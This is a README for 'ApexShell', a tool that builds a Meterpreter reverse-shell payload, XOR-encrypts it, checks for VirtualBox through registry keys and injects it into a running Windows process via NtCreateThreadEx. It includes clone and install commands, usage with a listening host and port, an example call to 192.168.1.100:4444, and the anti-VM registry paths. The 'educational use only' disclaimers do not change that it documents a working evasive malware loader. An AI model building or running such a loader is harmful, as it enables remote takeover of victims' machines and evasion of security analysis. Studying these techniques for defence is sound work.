ApexShell is an educational tool demonstrating process injection, XOR encryption, and VirtualBox anti-VM techniques. For educational use only in authorized environments. Unauthorized use is illegal.
Use only on systems you own or have explicit permission to test. The developers are not liable for misuse.
APEXSHELL
├── build/
│ └── hack.bin # Generated raw payload
├── src/
│ ├── injector.cpp # Process injection code
│ └── temp_secure_injector.cpp # Temporary C++ file
└── ApexShell.py # Payload generation script
- Generates Windows x64 Meterpreter reverse shell with
msfvenom. - Encrypts payload with XOR.
- Detects VirtualBox via registry checks.
- Injects payload using
NtCreateThreadEx.
- Python 3.x
- Metasploit Framework (
msfvenom) - MinGW-w64 (
x86_64-w64-mingw32-g++)
- Clone/download the project.
git clone https://github.com/iisl4r/ApexShell.git
- Install Metasploit and MinGW-w64:
sudo apt-get install mingw-w64 metasploit-framework
python ApexShell.py -l <LHOST> -p <LPORT> [-o <OUTPUT_EXE>]-l, --lhost: Listening host IP (required).-p, --lport: Listening port (required).-o, --output: Output executable (default:secureshell.exe).-h, --help: Show help.
python ApexShell.py -l 192.168.1.100 -p 4444 -o build/myshell.exeRun injector:
.\myshell.exe <PID>- Payload Generation: Creates and encrypts reverse shell with XOR.
- Compilation: Embeds payload/key into C++ template and compiles.
- Injection: Injects payload into target process with anti-VM checks.
Detects VirtualBox via:
HKEY_LOCAL_MACHINE\HARDWARE\ACPI\FADT\VBOX__SystemProductNameandBiosVersioninHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation
- msfvenom not found: Install Metasploit.
- Compilation errors: Verify MinGW-w64 setup.
- Injector fails: Check PID.
Learn:
- Process injection (
VirtualAllocEx,NtCreateThreadEx). - Payload generation with
msfvenom. - XOR encryption.
- Anti-VM registry checks.
Unauthorized use is illegal. Test only in authorized environments.